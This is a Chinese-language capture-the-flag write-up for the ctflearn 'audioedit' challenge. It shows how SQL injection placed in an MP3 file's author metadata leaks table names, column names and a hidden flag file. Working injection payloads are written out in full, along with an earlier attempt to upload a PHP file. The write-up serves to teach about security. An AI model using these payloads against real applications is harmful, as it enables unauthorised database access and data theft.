打开网站是一个上传mp3的网站,第一反应是文件上传漏洞类型的题目,于是编写简单的php文件,修改其后缀名,上传报错提示无效的文件类型。尝试用burp修改其content-type
为audio/mp3
,依然提示无效。
于是上传正常mp3文件,几次尝试后发现,网页不是根据文件后缀名或是content-type
判断文件是否有效,而是会判断文件结构是否符合。
上传MP3文件后观察其处理流程,基于以下几点判断根据:
file
参数,似乎是会将文件重命名为其sha
值;File already exists
,猜测会将mp3文件相关信息存入数据库,通过sha
值判断是否文件已上传过。上传成功后的展示页面会显示mp3文件的author
、title
等,但是除了author
和title
其余的可调节,应该不是文件自带的数据,所以可以猜测上传mp3文件至少是会把author
和title
存至数据库。
因此有,在上传mp3文件时,网站后台解析文件的作者和题目信息,并将其插入数据库:
insert into mp3db (..., author, title, ...) values (..., xx, xx, ...)
上传成功后跳转到展示页面,将查询语句执行结果展示出来:
select author, title from mp3db where sha1 = xxx
然而,mp3文件的author
和title
这两个元数据是我们可控的,因此可进行sql注入。(windows下直接右键mp3文件进入属性
->详细信息
,可直接修改作者和标题)
将作者修改为a', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tabels WHERE table_schema=DATABASE())) -- -
,则在执行插入时就会变成:
insert into mp3db (..., author, title, ...) values (..., 'a', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())) -- -',...);
这里有两点需要注意:
author
和title
字段为表的最后两列,如果不是,则执行时报错因为列数对不上。修改作者名后上传文件,在执行insert
语句时实际上会将表名填入title
字段,而真正传入的title
值已经被注释掉了。
上传后的页面就可以看到,Title
处显示为audioedit
,即表名为audioedit
。
接下来探测表audioedit
的列名,将作者修改为a', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='audioedit')) -- -
,上传后Title
处值为:
id,file,author,title
尝试输出file
列的内容:
a', (SELECT GROUP_CONCAT(file) FROM audioedit)) -- -
发现提示插入错误,搜索资料发现,sql不可能对同一个表(audioedit
)一边执行insert
,一边执行select
。因此采用select ... as
避免该问题:
a', (SELECT GROUP_CONCAT(file) FROM audioedit as tmp)) -- -
则Title
处输出如下:
supersecretflagf1le.mp3,df0c8c1102ab427c35bde3b03f71ade99304a17f.mp3,c2bb62acaeefc531903030d5bb7140584800638c.mp3,cd88b9204a2eb7
可以看到一个可疑的文件supersecretflagf1le.mp3
,查看其内容:
a', (SELECT title FROM audioedit as tmp where file='supersecretflagf1le.mp3')) -- -
Title
处显示为flag
。
直接访问这个mp3文件试试,参照前面的url,将上传后展示的url改为:
https://web.ctflearn.com/audioedit/edit.php?file=supersecretflagf1le.mp3
visualisation
有三个选项,将选择条拖动到Sonogram
,flag出现:
ABCTF{m3t4_inj3cti00n}
PS.这个题注入不难,但前期实在是太迷惑人了并且还有一点点脑洞,也包含了一点猜测的成分